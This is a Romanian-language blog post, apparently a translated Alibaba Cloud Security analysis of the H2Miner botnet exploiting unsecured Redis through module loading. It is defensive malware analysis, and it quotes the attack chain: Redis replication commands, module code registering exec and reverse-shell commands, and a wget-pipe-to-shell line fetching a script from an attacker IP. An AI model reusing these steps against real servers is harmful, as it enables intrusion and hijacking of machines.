{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/ro\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"A fost descoperit\u0103 o nou\u0103 furtun\u0103 de viermi H2Miner, care exploateaz\u0103 RCE Redis","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Acum o zi, unul dintre serverele proiectului meu a fost atacat de un astfel de vierme. C\u0103ut\u00e2nd un r\u0103spuns la \u00eentrebarea \u201ece a fost asta?\u201d, am g\u0103sit un articol minunat scris de echipa Alibaba Cloud Security. Deoarece nu am g\u0103sit acest articol pe Habr\u0103, am decis s\u0103 \u00eel traduc special pentru voi <3\n<\/p><\/blockquote>\n

Introducere<\/h2>\n

\nRecent, echipa de securitate Alibaba Cloud a descoperit o izbucnire brusc\u0103 a H2Miner. Acest tip de vierme malware folose\u0219te lipsa autoriz\u0103rii sau parolele slabe pentru Redis ca por\u021bi de acces la sistemele dumneavoastr\u0103, sincroniz\u00e2ndu-se apoi cu propriul s\u0103u modul malware pe slave prin sincronizarea master-slave \u0219i, \u00een final, \u00eenc\u0103rc\u00e2nd acest modul malware pe ma\u0219ina atacat\u0103 \u0219i execut\u00e2nd instruc\u021biunile mali\u021bioase.<\/p>\n

\u00cen trecut, atacurile asupra sistemelor dumneavoastr\u0103 erau realizate \u00een principal prin metode care implicau sarcini programate sau chei SSH care erau scrise pe ma\u0219ina dumneavoastr\u0103 dup\u0103 ce infractorul p\u0103trundea \u00een Redis. Din fericire, aceast\u0103 metod\u0103 nu mai poate fi folosit\u0103 frecvent din cauza problemelor de control al permisiunilor sau a versiunilor diferite ale sistemului. Totu\u0219i, aceast\u0103 metod\u0103 de \u00eenc\u0103rcare a modulului malware poate executa direct comenzile atacatorului sau ob\u021bine acces la shell, ceea ce este periculos pentru sistemul dumneavoastr\u0103.<\/p>\n

Din cauza num\u0103rului mare de servere<\/a> Redis disponibile pe internet (aproape 1 milion), echipa de securitate Alibaba Cloud, ca un memento prietenesc, recomand\u0103 utilizatorilor s\u0103 nu permit\u0103 accesul la Redis din re\u021bea \u0219i s\u0103 verifice regulat soliditatea parolelor lor, precum \u0219i s\u0103 se asigure c\u0103 nu sunt vulnerabile la atacuri prin for\u021b\u0103 brut\u0103.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner este un botnet de minerit pentru sisteme bazate pe Linux, care poate p\u0103trunde \u00een sistemul dumneavoastr\u0103 prin diferite metode, inclusiv lipsa autoriz\u0103rii \u00een Hadoop yarn, Docker \u0219i vulnerabilitatea de execu\u021bie la distan\u021b\u0103 a comenzilor Redis (RCE). Botnetul func\u021bioneaz\u0103 prin \u00eenc\u0103rcarea scripturilor mali\u021bioase \u0219i a programelor malware pentru a mina datele dumneavoastr\u0103, extinderea orizontal\u0103 a atacului \u0219i men\u021binerea leg\u0103turii de comand\u0103 \u0219i control (C&C).
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nCuno\u0219tin\u021bele despre aceast\u0103 problem\u0103 au fost \u00eemp\u0103rt\u0103\u0219ite de Pavel Toporkov la ZeroNights 2018. Dup\u0103 versiunea 4.0, Redis suport\u0103 func\u021bia de \u00eenc\u0103rcare a modulelor externe, care ofer\u0103 utilizatorilor posibilitatea de a \u00eenc\u0103rca fi\u0219iere so, compilate cu C \u00een Redis pentru a executa anumite comenzi Redis. Aceast\u0103 func\u021bie, de\u0219i util\u0103, con\u021bine o vulnerabilitate prin care, \u00een modul master-slave, fi\u0219ierele pot fi sincronizate cu slave prin modul fullresync. Aceasta poate fi utilizat\u0103 de un atacator pentru a transmite fi\u0219iere so mali\u021bioase. Dup\u0103 finalizarea transferului, atacatorii \u00eencarc\u0103 modulul pe instan\u021ba Redis atacat\u0103 \u0219i execut\u0103 orice comand\u0103.<\/p>\n

Analiza viermilor mali\u021bio\u0219i<\/h2>\n

\nRecent, echipa de securitate Alibaba Cloud a descoperit c\u0103 dimensiunea grupului de mineri mali\u021bio\u0219i H2Miner a crescut brusc. Potrivit analizei, procesul general de apari\u021bie a atacului arat\u0103 astfel:<\/p>\n

\"A
\n
\nH2Miner folose\u0219te RCE Redis pentru un atac complet. Mai \u00eent\u00e2i, atacatorii atac\u0103 servere Redis neprotejate sau servere cu parole slabe.<\/p>\n

Apoi, ei folosesc comanda config set dbfilename red2.so<\/code> pentru a schimba numele fi\u0219ierului. Dup\u0103 aceasta, atacatorii execut\u0103 comanda slaveof<\/code> pentru a stabili adresa gazdelor de replicare master-slave. <\/p>\n

C\u00e2nd instan\u021ba Redis atacat\u0103 stabile\u0219te o conexiune master-slave cu Redis mali\u021bios, care apar\u021bine atacatorului, atacatorul trimite modulul infectat prin comanda fullresync pentru a sincroniza fi\u0219ierele. Apoi, fi\u0219ierul red2.so va fi \u00eenc\u0103rcat pe ma\u0219ina atacat\u0103. Dup\u0103 aceea, atacatorii folosesc modulul .\/red2.so pentru a \u00eenc\u0103rca acest fi\u0219ier so. Modulul poate executa comenzile atacatorului sau ini\u021bia o conexiune invers\u0103 (backdoor) pentru a ob\u021bine acces la ma\u0219ina atacat\u0103.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nDup\u0103 ce execut\u0103 o comand\u0103 mali\u021bioas\u0103, cum ar fi \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, atacatorul va reseta numele fi\u0219ierului de rezerv\u0103 \u0219i va desc\u0103rca modulul de sistem pentru a \u0219terge urmele. Cu toate acestea, fi\u0219ierul red2.so va r\u0103m\u00e2ne \u00een continuare pe ma\u0219ina atacat\u0103. Utilizatorii sunt recomanda\u021bi s\u0103 acorde aten\u021bie existen\u021bei unui astfel de fi\u0219ier suspect \u00een folderul instan\u021bei lor Redis.<\/p>\n
\u00cen plus fa\u021b\u0103 de distrugerea unor procese malware pentru furtul de resurse, atacatorul a urmat un scenariu mali\u021bios, desc\u0103rc\u00e2nd \u0219i execut\u00e2nd fi\u0219iere mali\u021bioase \u00een format binar pentru a 142.44.191.122\/kinsing<\/a><\/noindex>. Acest lucru \u00eenseamn\u0103 c\u0103 numele procesului sau numele directorului care con\u021bine kinsing pe gazd\u0103 poate indica faptul c\u0103 aceast\u0103 ma\u0219in\u0103 a fost infectat\u0103 cu acest virus.<\/p>\n
Conform rezultatelor reverse engineering, malware-ul \u00eendepline\u0219te \u00een principal urm\u0103toarele func\u021bii:<\/p>\n